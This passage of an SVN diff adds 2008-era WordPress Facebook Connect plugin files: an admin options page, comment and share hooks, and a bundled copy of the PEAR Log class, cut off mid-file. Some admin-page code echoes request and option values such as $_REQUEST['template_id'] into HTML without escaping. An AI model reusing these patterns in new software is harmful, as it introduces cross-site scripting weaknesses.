+		if ($loginbutton=="long") echo "SELECTED";
+		echo ' VALUE="long">long</OPTION>';
+		echo ' <OPTION ';
+		if ($loginbutton=="short") echo "SELECTED";
+		echo ' VALUE="short">short</OPTION>';
+		echo '</SELECT></label></p>';
+		echo '<input type="hidden" id="FacebookConnector-submit" name="FacebookConnector-submit" value="1" />';
+	}		
+
+	register_sidebar_widget('FacebookConnector', 'widget_FacebookConnector');
+	register_widget_control('FacebookConnector', 'widget_FacebookConnector_control', 300, 100);
+}
+endif;
+
+add_action('plugins_loaded', 'widget_FacebookConnector_init');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectInterface.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectInterface.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectInterface.php	(revision 44)
@@ -0,0 +1,352 @@
+<?php
+/**
+ * @author: Javier Reyes Gomez (http://www.sociable.es)
+ * @date: 05/10/2008
+ * @license: GPLv2
+ */
+
+include_once 'fbConfig.php';
+
+if (!class_exists('WPfbConnect_Interface')):
+class WPfbConnect_Interface {
+
+	/**
+	 * Enqueue required javascript libraries.
+	 *
+	 * @action: init
+	 **/
+	function js_setup() {
+	}
+
+	/**
+	 * Add Facebook Share
+	 *
+	 * @action: the_content
+	 **/
+	function add_fbshare($content) {
+		global $post;
+		$content .= '<p class="fbconnect_share"><fb:share-button class="url" href="'.get_permalink($post->ID).'" /></p>';
+		return $content;
+	}
+
+	/**
+	 * Include internal stylesheet.
+	 *
+	 * @action: wp_head, login_head
+	 **/
+	function style() {
+		if ( file_exists( TEMPLATEPATH . '/fbconnect.css') ){
+			$css_path =  get_template_directory_uri() . '/fbconnect.css?ver='.FBCONNECT_PLUGIN_REVISION;
+		}else{
+			//$css_path = get_option('siteurl') . '/' . PLUGINDIR . '/fbconnect/fbconnect.css?ver='.FBCONNECT_PLUGIN_REVISION;
+			$css_path = FBCONNECT_PLUGIN_URL . '/fbconnect.css?ver='.FBCONNECT_PLUGIN_REVISION;
+		}
+		echo '<link rel="stylesheet" type="text/css" href="'.$css_path.'" />';
+		
+	}
+
+
+	/**
+	 *  Modify comment form.
+	 *
+	 * @action: comment_form
+	 **/
+	function comment_form() {
+		$fb_user = fb_get_loggedin_user();
+		if (is_user_logged_in() && $fb_user) {
+			echo '<img class="icon-text-middle" src="'.FBCONNECT_PLUGIN_URL .'/images/facebook_24.png"/>';
+			echo '<input style="width:20px;" type="checkbox" name="sendToFacebook" id="sendToFacebook" checked="checked" />'.__('Publish this comment to Facebook', 'fbconnect');
+		}
+	}
+
+
+	/**
+	 * Spam up the admin interface with warnings.
+	 **/
+	function admin_notices_plugin_problem_warning() {
+		echo'<div class="error"><p><strong>'.__('The WordPress fbconnect plugin is not active.', 'fbconnect').'</strong>';
+		printf(_('Check %sfbconnect Options%s for a full diagnositic report.', 'fbconnect'), '<a href="options-general.php?page=global-fbconnect-options">', '</a>');
+		echo '</p></div>';
+	}
+	
+
+	/**
+	 * Setup admin menus for fbconnect options and ID management.
+	 *
+	 * @action: admin_menu
+	 **/
+	function add_admin_panels() {
+		$hookname = add_options_page(__('fbconnect options', 'fbconnect'), __('Facebook Connector', 'fbconnect'), 8, 'global-fbconnect-options', 
+			array( 'WPfbConnect_Interface', 'options_page')  );
+		add_action("admin_head-$hookname", array( 'WPfbConnect_Interface', 'js_setup' ));
+		add_action("admin_head-$hookname", array( 'WPfbConnect_Interface', 'style' ));
+
+	}
+
+
+	function register_feed_forms($fb_online_stories,$fb_short_stories_title,$fb_short_stories_body,$fb_full_stories_title,$fb_full_stories_body) {
+	  $one_line_stories = $short_stories = $full_stories = array();
+	
+	  $one_line_stories[] = $fb_online_stories;
+	  $short_stories[] = array('template_title' => $fb_short_stories_title,
+	                         'template_body' => $fb_short_stories_body);
+	  $full_stories = array('template_title' => $fb_full_stories_title,
+	                         'template_body' => $fb_full_stories_body);
+	  $form_id = fb_feed_registerTemplateBundle($one_line_stories,$short_stories,$full_stories);
+		
+	  return $form_id;
+	}
+
+	/*
+	 * Display and handle updates from the Admin screen options page.
+	 *
+	 * @options_page
+	 */
+	function options_page() {
+		global $wp_version, $fbconnect;
+
+			// if we're posted back an update, let's set the values here
+			if ( isset($_POST['info_update']) ) {
+				check_admin_referer('wp-fbconnect-info_update');
+
+				$error = '';
+				update_option( 'fb_api_key', $_POST['fb_api_key'] );
+				update_option( 'fb_api_secret', $_POST['fb_api_secret'] );
+				update_option( 'fb_enable_commentform', isset($_POST['enable_commentform']) ? true : false );
+				update_option( 'fb_enable_approval', isset($_POST['enable_approval']) ? true : false );
+				update_option( 'fb_add_post_share', isset($_POST['fb_add_post_share']) ? true : false );
+				update_option( 'fb_use_ssl', isset($_POST['fb_use_ssl']) ? true : false );
+				update_option( 'fb_use_fbml', isset($_POST['fb_use_fbml']) ? true : false );
+				
+				if ($error !== '') {
+					echo '<div class="error"><p><strong>'.__('At least one of Facebook Connector options was NOT updated', 'fbconnect').'</strong>'.$error.'</p></div>';
+				} else {
+					echo '<div class="updated"><p><strong>'.__('Facebook Connector options updated', 'fbconnect').'</strong></p></div>';
+				}
+
+			
+			}elseif (isset($_POST['template_update'])){
+				check_admin_referer('wp-fbconnect-info_update');
+
+				$error = '';
+
+				update_option( 'fb_online_stories', $_POST['fb_online_stories'] );
+				update_option( 'fb_short_stories_title', $_POST['fb_short_stories_title'] );
+				update_option( 'fb_short_stories_body', $_POST['fb_short_stories_body'] );
+				update_option( 'fb_full_stories_title', $_POST['fb_full_stories_title'] );
+				update_option( 'fb_full_stories_body', $_POST['fb_full_stories_body'] );
+				$templatesId = WPfbConnect_Interface::register_feed_forms($_POST['fb_online_stories'],$_POST['fb_short_stories_title'],$_POST['fb_short_stories_body'], $_POST['fb_full_stories_title'], $_POST['fb_full_stories_body']);
+				if ($templatesId!=""){
+					update_option( 'fb_templates_id', $templatesId );
+				}else{
+					$error = " ";
+				}	
+				if ($error !== '') {
+					echo '<div class="error"><p><strong>'.__('Error updating Facebook templates!', 'fbconnect').'</strong>'.$error.'</p></div>';
+				} else {
+					echo '<div class="updated"><p><strong>'.__('Facebook templates updated! Templates ID:'.$templatesId, 'fbconnect').'</strong></p></div>';
+				}
+
+			}elseif ( isset($_REQUEST['action']) ) {
+				switch($_REQUEST['action']) {
+					case 'delete_template' :
+						check_admin_referer('wp-fbconnect-info_delete_template');
+						fb_feed_deactivateTemplateBundleByID($_REQUEST['template_id']);
+						
+						$fb_templates_id = get_option('fb_templates_id');
+						if ($_REQUEST['template_id'] == $fb_templates_id){
+							update_option( 'fb_templates_id', "" );
+						}
+						echo '<div class="updated"><p><strong>Facebook template removed:'.$_REQUEST['template_id'].'</strong></p></div>';
+						break;
+					case 'activate_template' :
+						check_admin_referer('wp-fbconnect-info_activate_template');
+						$template = fb_feed_getRegisteredTemplateBundleByID($_REQUEST['template_id']);
+
+						if (isset($template) && $template!="" ){
+								update_option( 'fb_templates_id', $_REQUEST['template_id'] );
+								update_option( 'fb_online_stories', $template["one_line_story_templates"][0] );
+								update_option( 'fb_short_stories_title', $template["short_story_templates"][0]["template_title"] );
+								update_option( 'fb_short_stories_body', $template["short_story_templates"][0]["template_body"] );
+								update_option( 'fb_full_stories_title', $template["full_story_templates"][0]["template_title"] );
+								update_option( 'fb_full_stories_body', $template["full_story_templates"][0]["template_body"] );
+						}
+						
+						break;
+				}
+			}
+			
+			// Display the options page form
+			$siteurl = get_option('home');
+			if( substr( $siteurl, -1, 1 ) !== '/' ) $siteurl .= '/';
+			?>
+			<div class="wrap">
+				<h2><?php _e('Facebook Connector Options', 'fbconnect') ?></h2>
+
+				<form method="post">
+
+
+					<h3><?php _e('Facebook Application Configuration', 'fbconnect') ?></h3>
+     				<table class="form-table" cellspacing="2" cellpadding="5" width="100%">
+						<tr valign="top">
+							<th style="width: 33%" scope="row"><?php _e('Facebook App. Config.', 'fbconnect') ?></th>
+							<td>
+							<a href="http://www.facebook.com/developers/" target="_blank"><?php _e('Go to Facebook Developer App', 'fbconnect') ?></a>
+							</td>
+						</tr>
+
+						<tr valign="top">
+							<th style="width: 33%" scope="row"><label for="fb_api_key"><?php _e('Facebook API Key:', 'fbconnect') ?></label></th>
+							<td>
+							<input type="text" name="fb_api_key" id="fb_api_key" size="50" value="<?php echo get_option('fb_api_key');?>"/>
+							</td>
+						</tr>
+						<tr valign="top">
+							<th style="width: 33%" scope="row"><label for="fb_api_secret"><?php _e('Facebook API Secret:', 'fbconnect') ?></label></th>
+							<td>
+							<input type="text" name="fb_api_secret" size="50" id="fb_api_secret" value="<?php echo get_option('fb_api_secret');?>"/>
+							</td>
+						</tr>							
+						<tr valign="top">
+							<th style="width: 33%" scope="row"><label for="enable_approval"><?php _e('Automatic Approval:', 'fbconnect') ?></label></th>
+							<td>
+								<p><input type="checkbox" name="enable_approval" id="enable_approval" <?php 
+									echo get_option('fb_enable_approval') ? 'checked="checked"' : ''; ?> />
+									<label for="enable_approval"><?php _e('Enable comment auto-approval', 'fbconnect') ?></label>
+							</td>
+						</tr>
+						<tr valign="top">
+							<th style="width: 33%" scope="row"><label for="fb_add_post_share"><?php _e('Add share button:', 'fbconnect') ?></label></th>
+							<td>
+								<p><input type="checkbox" name="fb_add_post_share" id="fb_add_post_share" <?php 
+									echo get_option('fb_add_post_share') ? 'checked="checked"' : ''; ?> />
+									<label for="fb_add_post_share"><?php _e('Add Facebook share button', 'fbconnect') ?></label>
+							</td>
+						</tr>
+						<tr valign="top">
+							<th style="width: 33%" scope="row"><?php _e('Comment Form:', 'fbconnect') ?></th>
+							<td>
+								<p><input type="checkbox" name="enable_commentform" id="enable_commentform" <?php
+								if( get_option('fb_enable_commentform') ) echo 'checked="checked"'
+								?> />
+									<label for="enable_commentform"><?php _e('Allow send user comments to Facebook.', 'fbconnect') ?></label></p>
+
+							</td>
+						</tr>
+						<tr valign="top">
+							<th style="width: 33%" scope="row"><?php _e('Secure login:', 'fbconnect') ?></th>
+							<td>
+								<p><input type="checkbox" name="fb_use_ssl" id="fb_use_ssl" <?php
+								if( get_option('fb_use_ssl') ) echo 'checked="checked"'
+								?> />
+									<label for="fb_use_ssl"><?php _e('Facebook Connect Via SSL.', 'fbconnect') ?></label></p>
+
+							</td>
+						</tr>
+     				</table>
+
+					
+					<?php wp_nonce_field('wp-fbconnect-info_update'); ?>
+					
+     				<p class="submit"><input class="button-primary" type="submit" name="info_update" value="<?php _e('Update Configuration', 'fbconnect') ?> &raquo;" /></p>
+     			</form>
+				
+	
+				<form method="post">
+
+					<h3><?php _e('Comment templates', 'fbconnect') ?></h3>
+					<?php
+							$fb_templates_id = get_option('fb_templates_id');
+							$templates = fb_feed_getRegisteredTemplateBundles();
+
+							//print_r($templates);
+							if ($fb_templates_id == '' && isset($templates) && $templates!="" ){
+								echo '<div class="error"><p><strong>'.__('No active Facebook template, please activate a template or create a new one!', 'fbconnect').'</strong>'.$error.'</p></div>';
+							}else if ($fb_templates_id == ''){
+								echo '<div class="error"><p><strong>'.__('Templates not synchronized with Facebook, write the templates text and press create templates!', 'fbconnect').'</strong>'.$error.'</p></div>';
+							} else {
+								echo '<div class="updated"><p><strong>'.__('Active Facebook template ID:', 'fbconnect').$fb_templates_id.'</strong></p></div>';
+							}
+	
+							
+	
+							if (isset($templates) && $templates!="" ){
+								foreach ($templates as $template){
+									echo "<br/><b>".__('Template ID:', 'fbconnect').$template["template_bundle_id"].'</b> <a href="'.wp_nonce_url(sprintf('?page=%s&action=activate_template&template_id=%s', $_REQUEST['page'],$template["template_bundle_id"]), 'wp-fbconnect-info_activate_template').'">'.__('Activate template', 'fbconnect').'</a> ';
+									echo '<a href="'.wp_nonce_url(sprintf('?page=%s&action=delete_template&template_id=%s', $_REQUEST['page'],$template["template_bundle_id"]), 'wp-fbconnect-info_delete_template').'">'.__('Delete template', 'fbconnect').'</a>';
+									if ($fb_templates_id == $template["template_bundle_id"]){
+										echo '<b style="color:red;"> <-'.__('Active Facebook template', 'fbconnect').'</b>';
+									}
+
+									echo "<br/>".__('One line story:', 'fbconnect').$template["one_line_story_templates"][0];
+									echo "<br/>".__('Short story title:', 'fbconnect').$template["short_story_templates"][0]["template_title"];
+									echo "<br/>".__('Short story body:', 'fbconnect').$template["short_story_templates"][0]["template_body"];
+									echo "<br/>".__('Full story title:', 'fbconnect').$template["full_story_template"]["template_title"];
+									echo "<br/>".__('Full story body:', 'fbconnect').$template["full_story_template"]["template_body"];
+									echo "<br/>";
+								}
+							}
+								//print_r($templates);
+							$fb_online_stories = get_option('fb_online_stories');
+							if (!$fb_online_stories){
+								$fb_online_stories = '{*actor*} commented on {*blogname*}, post title: {*post_title*}, {*body_short*} ';
+							}
+		
+							$fb_short_stories_title = get_option('fb_short_stories_title');
+							if (!$fb_short_stories_title){
+								$fb_short_stories_title = '{*actor*} commented on {*blogname*}, post title: {*post_title*} ';
+							}
+							$fb_short_stories_body = get_option('fb_short_stories_body');
+							if (!$fb_short_stories_body){
+								$fb_short_stories_body = '{*body_short*}';
+							}
+							$fb_full_stories_title = get_option('fb_full_stories_title');
+							if (!$fb_full_stories_title){
+								$fb_full_stories_title = '{*actor*} commented on {*blogname*}, post title: {*post_title*} ';
+							}
+							$fb_full_stories_body = get_option('fb_full_stories_body');
+							if (!$fb_full_stories_body){
+								$fb_full_stories_body = '{*body*}';
+							}
+							?>
+
+	     				<table class="form-table" cellspacing="2" cellpadding="5" width="100%">
+							<tr valign="top">
+								<th style="width: 33%" scope="row"><label for="fb_online_stories"><?php _e('One line stories template:', 'fbconnect') ?></label></th>
+								<td>
+								<textarea rows="3" cols="50" name="fb_online_stories" id="fb_online_stories"><?php echo htmlspecialchars(stripslashes($fb_online_stories)); ?></textarea> 
+								</td>
+							</tr>
+							<tr valign="top">
+								<th style="width: 33%" scope="row"><?php _e('Short stories template:', 'fbconnect') ?></th>
+								<td>
+								<label for="fb_short_stories_title"><?php _e('Title', 'fbconnect') ?></label><br/>
+								<textarea rows="3" cols="50" name="fb_short_stories_title" id="fb_short_stories_title"><?php echo htmlspecialchars(stripslashes($fb_short_stories_title));?></textarea> <br/>
+								<label for="fb_short_stories_body"><?php _e('Body', 'fbconnect') ?></label><br/>
+								<textarea rows="3" cols="50" name="fb_short_stories_body" id="fb_short_stories_body"><?php echo htmlspecialchars(stripslashes($fb_short_stories_body));?></textarea> 
+								</td>
+							</tr>
+							<tr valign="top">
+								<th style="width: 33%" scope="row"><?php _e('Full stories template:', 'fbconnect') ?></th>
+								<td>
+								<label for="fb_full_stories_title"><?php _e('Title', 'fbconnect') ?></label><br/>
+								<textarea rows="3" cols="50" name="fb_full_stories_title" id="fb_full_stories_title"><?php echo htmlspecialchars(stripslashes($fb_full_stories_title));?></textarea> <br/>
+								<label for="fb_full_stories_body"><?php _e('Body', 'fbconnect') ?></label><br/>
+								<textarea rows="3" cols="50" name="fb_full_stories_body" id="fb_full_stories_body"><?php echo htmlspecialchars(stripslashes($fb_full_stories_body));?></textarea> 
+								</td>
+							</tr>
+	
+	     				</table>
+
+						<?php wp_nonce_field('wp-fbconnect-info_update'); ?>
+	     				<p class="submit"><input class="button-primary" type="submit" name="template_update" value="<?php _e('Create Template', 'fbconnect') ?> &raquo;" /></p>
+	     			</form>
+			</div>
+    			<?php
+	} // end function options_page
+
+
+}
+endif;
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectLog.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectLog.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/fbconnect/fbConnectLog.php	(revision 44)
@@ -0,0 +1,822 @@
+<?php
+/**
+ * @author: Javier Reyes Gomez (http://www.sociable.es)
+ * @date: 05/10/2008
+ * @license: GPLv2
+ */
+
+define('PEAR_LOG_EMERG',    0);     /** System is unusable */
+define('PEAR_LOG_ALERT',    1);     /** Immediate action required */
+define('PEAR_LOG_CRIT',     2);     /** Critical conditions */
+define('PEAR_LOG_ERR',      3);     /** Error conditions */
+define('PEAR_LOG_WARNING',  4);     /** Warning conditions */
+define('PEAR_LOG_NOTICE',   5);     /** Normal but significant */
+define('PEAR_LOG_INFO',     6);     /** Informational */
+define('PEAR_LOG_DEBUG',    7);     /** Debug-level messages */
+
+define('PEAR_LOG_ALL',      bindec('11111111'));  /** All messages */
+define('PEAR_LOG_NONE',     bindec('00000000'));  /** No message */
+
+/* Log types for PHP's native error_log() function. */
+define('PEAR_LOG_TYPE_SYSTEM',  0); /** Use PHP's system logger */
+define('PEAR_LOG_TYPE_MAIL',    1); /** Use PHP's mail() function */
+define('PEAR_LOG_TYPE_DEBUG',   2); /** Use PHP's debugging connection */
+define('PEAR_LOG_TYPE_FILE',    3); /** Append to a file */
+
+/**
+ * The Log:: class implements both an abstraction for various logging
+ * mechanisms and the Subject end of a Subject-Observer pattern.
+ *
+ * @author  Chuck Hagenbuch <chuck@horde.org>
+ * @author  Jon Parise <jon@php.net>
+ * @since   Horde 1.3
+ * @package Log
+ */
+class Log
+{
+    /**
+     * Indicates whether or not the log can been opened / connected.
+     *
+     * @var boolean
+     * @access private
+     */
+    var $_opened = false;
+
+    /**
+     * Instance-specific unique identification number.
+     *
+     * @var integer
+     * @access private
+     */
+    var $_id = 0;
+
+    /**
+     * The label that uniquely identifies this set of log messages.
+     *
+     * @var string
+     * @access private
+     */
+    var $_ident = '';
+
+    /**
+     * The default priority to use when logging an event.
+     *
+     * @var integer
+     * @access private
+     */
+    var $_priority = PEAR_LOG_INFO;
+
+    /**
+     * The bitmask of allowed log levels.
+     *
+     * @var integer
+     * @access private
+     */
+    var $_mask = PEAR_LOG_ALL;
+
+    /**
+     * Holds all Log_observer objects that wish to be notified of new messages.
+     *
+     * @var array
+     * @access private
+     */
+    var $_listeners = array();
+
+    /**
+     * Maps canonical format keys to position arguments for use in building
+     * "line format" strings.
+     *
+     * @var array
+     * @access private
+     */
+    var $_formatMap = array('%{timestamp}'  => '%1$s',
+                            '%{ident}'      => '%2$s',
+                            '%{priority}'   => '%3$s',
+                            '%{message}'    => '%4$s',
+                            '%{file}'       => '%5$s',
+                            '%{line}'       => '%6$s',
+                            '%{function}'   => '%7$s',
+                            '%\{'           => '%%{');
+
+
+    /**
+     * Attempts to return a concrete Log instance of type $handler.
+     *
+     * @param string $handler   The type of concrete Log subclass to return.
+     *                          Attempt to dynamically include the code for
+     *                          this subclass. Currently, valid values are
+     *                          'console', 'syslog', 'sql', 'file', and 'mcal'.
+     *
+     * @param string $name      The name of the actually log file, table, or
+     *                          other specific store to use. Defaults to an
+     *                          empty string, with which the subclass will
+     *                          attempt to do something intelligent.
+     *
+     * @param string $ident     The identity reported to the log system.
+     *
+     * @param array  $conf      A hash containing any additional configuration
+     *                          information that a subclass might need.
+     *
+     * @param int $level        Log messages up to and including this level.
+     *
+     * @return object Log       The newly created concrete Log instance, or
+     *                          null on an error.
+     * @access public
+     * @since Log 1.0
+     */
+    function &factory($handler, $name = '', $ident = '', $conf = array(),
+                      $level = PEAR_LOG_DEBUG)
+    {
+        $handler = strtolower($handler);
+        $class = 'Log_' . $handler;
+        $classfile = 'Log/' . $handler . '.php';
+
+        /*
+         * Attempt to include our version of the named class, but don't treat
+         * a failure as fatal.  The caller may have already included their own
+         * version of the named class.
+         */
+        if (!class_exists($class)) {
+            include_once $classfile;
+        }
+
+        /* If the class exists, return a new instance of it. */
+        if (class_exists($class)) {
+            $obj = &new $class($name, $ident, $conf, $level);
+            return $obj;
+        }
+
+        $null = null;
+        return $null;
+    }
+
+    /**
+     * Attempts to return a reference to a concrete Log instance of type
+     * $handler, only creating a new instance if no log instance with the same
+     * parameters currently exists.
+     *
+     * You should use this if there are multiple places you might create a
+     * logger, you don't want to create multiple loggers, and you don't want to
+     * check for the existance of one each time. The singleton pattern does all
+     * the checking work for you.
+     *
+     * <b>You MUST call this method with the $var = &Log::singleton() syntax.
+     * Without the ampersand (&) in front of the method name, you will not get
+     * a reference, you will get a copy.</b>
+     *
+     * @param string $handler   The type of concrete Log subclass to return.
+     *                          Attempt to dynamically include the code for
+     *                          this subclass. Currently, valid values are
+     *                          'console', 'syslog', 'sql', 'file', and 'mcal'.
+     *
+     * @param string $name      The name of the actually log file, table, or
+     *                          other specific store to use.  Defaults to an
+     *                          empty string, with which the subclass will
+     *                          attempt to do something intelligent.
+     *
+     * @param string $ident     The identity reported to the log system.
+     *
+     * @param array $conf       A hash containing any additional configuration
+     *                          information that a subclass might need.
+     *
+     * @param int $level        Log messages up to and including this level.
+     *
+     * @return object Log       The newly created concrete Log instance, or
+     *                          null on an error.
+     * @access public
+     * @since Log 1.0
+     */
+    function &singleton($handler, $name = '', $ident = '', $conf = array(),
+                        $level = PEAR_LOG_DEBUG)
+    {
+        static $instances;
+        if (!isset($instances)) $instances = array();
+
+        $signature = serialize(array($handler, $name, $ident, $conf, $level));
+        if (!isset($instances[$signature])) {
+            $instances[$signature] = &Log::factory($handler, $name, $ident,
+                                                   $conf, $level);
+        }
+
+        return $instances[$signature];
+    }
+
+    /**
+     * Abstract implementation of the open() method.
+     * @since Log 1.0
+     */
+    function open()
+    {
+        return false;
+    }
+
+    /**
+     * Abstract implementation of the close() method.
+     * @since Log 1.0
+     */
+    function close()
+    {
+        return false;
+    }
+
+    /**
+     * Abstract implementation of the flush() method.
+     * @since Log 1.8.2
+     */
+    function flush()
+    {
+        return false;
+    }
+
+    /**
+     * Abstract implementation of the log() method.
+     * @since Log 1.0
+     */
+    function log($message, $priority = null)
+    {
+        return false;
+    }
+
+    /**
+     * A convenience function for logging a emergency event.  It will log a
+     * message at the PEAR_LOG_EMERG log level.
+     *
+     * @param   mixed   $message    String or object containing the message
+     *                              to log.
+     *
+     * @return  boolean True if the message was successfully logged.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     */
+    function emerg($message)
+    {
+        return $this->log($message, PEAR_LOG_EMERG);
+    }
+
+    /**
+     * A convenience function for logging an alert event.  It will log a
+     * message at the PEAR_LOG_ALERT log level.
+     *
+     * @param   mixed   $message    String or object containing the message
+     *                              to log.
+     *
+     * @return  boolean True if the message was successfully logged.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     */
+    function alert($message)
+    {
+        return $this->log($message, PEAR_LOG_ALERT);
+    }
+
+    /**
+     * A convenience function for logging a critical event.  It will log a
+     * message at the PEAR_LOG_CRIT log level.
+     *
+     * @param   mixed   $message    String or object containing the message
+     *                              to log.
+     *
+     * @return  boolean True if the message was successfully logged.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     */
+    function crit($message)
+    {
+        return $this->log($message, PEAR_LOG_CRIT);
+    }
+
+    /**
+     * A convenience function for logging a error event.  It will log a
+     * message at the PEAR_LOG_ERR log level.
+     *
+     * @param   mixed   $message    String or object containing the message
+     *                              to log.
+     *
+     * @return  boolean True if the message was successfully logged.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     */
+    function err($message)
+    {
+        return $this->log($message, PEAR_LOG_ERR);
+    }
+
+    /**
+     * A convenience function for logging a warning event.  It will log a
+     * message at the PEAR_LOG_WARNING log level.
+     *
+     * @param   mixed   $message    String or object containing the message
+     *                              to log.
+     *
+     * @return  boolean True if the message was successfully logged.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     */
+    function warning($message)
+    {
+        return $this->log($message, PEAR_LOG_WARNING);
+    }
+
+    /**
+     * A convenience function for logging a notice event.  It will log a
+     * message at the PEAR_LOG_NOTICE log level.
+     *
+     * @param   mixed   $message    String or object containing the message
+     *                              to log.
+     *
+     * @return  boolean True if the message was successfully logged.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     */
+    function notice($message)
+    {
+        return $this->log($message, PEAR_LOG_NOTICE);
+    }
+
+    /**
+     * A convenience function for logging a information event.  It will log a
+     * message at the PEAR_LOG_INFO log level.
+     *
+     * @param   mixed   $message    String or object containing the message
+     *                              to log.
+     *
+     * @return  boolean True if the message was successfully logged.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     */
+    function info($message)
+    {
+        return $this->log($message, PEAR_LOG_INFO);
+    }
+
+    /**
+     * A convenience function for logging a debug event.  It will log a
+     * message at the PEAR_LOG_DEBUG log level.
+     *
+     * @param   mixed   $message    String or object containing the message
+     *                              to log.
+     *
+     * @return  boolean True if the message was successfully logged.
+     *
+     * @access  public
+     * @since   Log 1.7.0
+     */
+    function debug($message)
+    {
+        return $this->log($message, PEAR_LOG_DEBUG);
+    }
+
+    /**
+     * Returns the string representation of the message data.
+     *
+     * If $message is an object, _extractMessage() will attempt to extract
+     * the message text using a known method (such as a PEAR_Error object's
+     * getMessage() method).  If a known method, cannot be found, the
+     * serialized representation of the object will be returned.
+     *
+     * If the message data is already a string, it will be returned unchanged.
+     *
+     * @param  mixed $message   The original message data.  This may be a
+     *                          string or any object.
+     *
+     * @return string           The string representation of the message.
+     *
+     * @access private
+     */
+    function _extractMessage($message)
+    {
+        /*
+         * If we've been given an object, attempt to extract the message using
+         * a known method.  If we can't find such a method, default to the
+         * "human-readable" version of the object.
+         *
+         * We also use the human-readable format for arrays.
+         */
+        if (is_object($message)) {
+            if (method_exists($message, 'getmessage')) {
+                $message = $message->getMessage();
+            } else if (method_exists($message, 'tostring')) {
+                $message = $message->toString();
+            } else if (method_exists($message, '__tostring')) {
+                if (version_compare(PHP_VERSION, '5.0.0', 'ge')) {
+                    $message = (string)$message;
+                } else {
+                    $message = $message->__toString();
+                }
+            } else {
+                $message = print_r($message, true);
+            }
+        } else if (is_array($message)) {
+            if (isset($message['message'])) {
+                $message = $message['message'];
+            } else {
+                $message = print_r($message, true);
+            }
+        }
+
+        /* Otherwise, we assume the message is a string. */
+        return $message;
+    }
+
+    /**
+     * Using debug_backtrace(), returns the file, line, and enclosing function
+     * name of the source code context from which log() was invoked.
+     *
+     * @param   int     $depth  The initial number of frames we should step
+     *                          back into the trace.
+     *
+     * @return  array   Array containing three strings: the filename, the line,
+     *                  and the function name from which log() was called.
+     *
+     * @access  private
+     * @since   Log 1.9.4
+     */
+    function _getBacktraceVars($depth)
+    {
+        /* Start by generating a backtrace from the current call (here). */
+        $backtrace = debug_backtrace();
+
+        /*
+         * If we were ultimately invoked by the composite handler, we need to
+         * increase our depth one additional level to compensate.
+         */
+        if (strcasecmp(@$backtrace[$depth+1]['class'], 'Log_composite') == 0) {
+            $depth++;
+        }
+
+        /*
+         * We're interested in the frame which invoked the log() function, so
+         * we need to walk back some number of frames into the backtrace.  The
+         * $depth parameter tells us where to start looking.   We go one step
+         * further back to find the name of the encapsulating function from
+         * which log() was called.
+         */
+        $file = @$backtrace[$depth]['file'];
+        $line = @$backtrace[$depth]['line'];
+        $func = @$backtrace[$depth + 1]['function'];
+
+        /*
+         * However, if log() was called from one of our "shortcut" functions,
+         * we're going to need to go back an additional step.
+         */
+        if (in_array($func, array('emerg', 'alert', 'crit', 'err', 'warning',
+                                  'notice', 'info', 'debug'))) {
+            $file = @$backtrace[$depth + 1]['file'];
+            $line = @$backtrace[$depth + 1]['line'];
+            $func = @$backtrace[$depth + 2]['function'];
+        }
+
+        /*
+         * If we couldn't extract a function name (perhaps because we were
+         * executed from the "main" context), provide a default value.
+         */
+        if (is_null($func)) {
+            $func = '(none)';
+        }
+
+        /* Return a 3-tuple containing (file, line, function). */
+        return array($file, $line, $func);
+    }
+
+    /**
+     * Produces a formatted log line based on a format string and a set of
+     * variables representing the current log record and state.
+     *
+     * @return  string  Formatted log string.
+     *
+     * @access  private
+     * @since   Log 1.9.4
+     */
+    function _format($format, $timestamp, $priority, $message)
+    {
+        /*
+         * If the format string references any of the backtrace-driven
+         * variables (%5, %6, %7), generate the backtrace and fetch them.
+         */
+        if (strpos($format, '%5') || strpos($format, '%6') || strpos($format, '%7')) {
+            list($file, $line, $func) = $this->_getBacktraceVars(2);
+        }
+
+        /*
+         * Build the formatted string.  We use the sprintf() function's
+         * "argument swapping" capability to dynamically select and position
+         * the variables which will ultimately appear in the log string.
+         */
+        return sprintf($format,
+                       $timestamp,
+                       $this->_ident,
+                       $this->priorityToString($priority),
+                       $message,
+                       isset($file) ? $file : '',
+                       isset($line) ? $line : '',
+                       isset($func) ? $func : '');
+    }
+
+    /**
+     * Returns the string representation of a PEAR_LOG_* integer constant.
+     *
+     * @param int $priority     A PEAR_LOG_* integer constant.
+     *
+     * @return string           The string representation of $level.
+     *
+     * @since   Log 1.0
+     */
+    function priorityToString($priority)
+    {
+        $levels = array(
+            PEAR_LOG_EMERG   => 'emergency',
+            PEAR_LOG_ALERT   => 'alert',
+            PEAR_LOG_CRIT    => 'critical',
+            PEAR_LOG_ERR     => 'error',
+            PEAR_LOG_WARNING => 'warning',
+            PEAR_LOG_NOTICE  => 'notice',
+            PEAR_LOG_INFO    => 'info',
+            PEAR_LOG_DEBUG   => 'debug'
+        );
+
+        return $levels[$priority];
+    }
+
+    /**
+     * Returns the the PEAR_LOG_* integer constant for the given string
+     * representation of a priority name.  This function performs a
+     * case-insensitive search.
+     *
+     * @param string $name      String containing a priority name.
+     *
+     * @return string           The PEAR_LOG_* integer contstant corresponding
+     *                          the the specified priority name.
+     *
+     * @since   Log 1.9.0
+     */
+    function stringToPriority($name)
+    {
+        $levels = array(
+            'emergency' => PEAR_LOG_EMERG,
+            'alert'     => PEAR_LOG_ALERT,
+            'critical'  => PEAR_LOG_CRIT,
+            'error'     => PEAR_LOG_ERR,
+            'warning'   => PEAR_LOG_WARNING,
+            'notice'    => PEAR_LOG_NOTICE,
+            'info'      => PEAR_LOG_INFO,
+            'debug'     => PEAR_LOG_DEBUG
+        );
+
+        return $levels[strtolower($name)];
+    }
+
+    /**
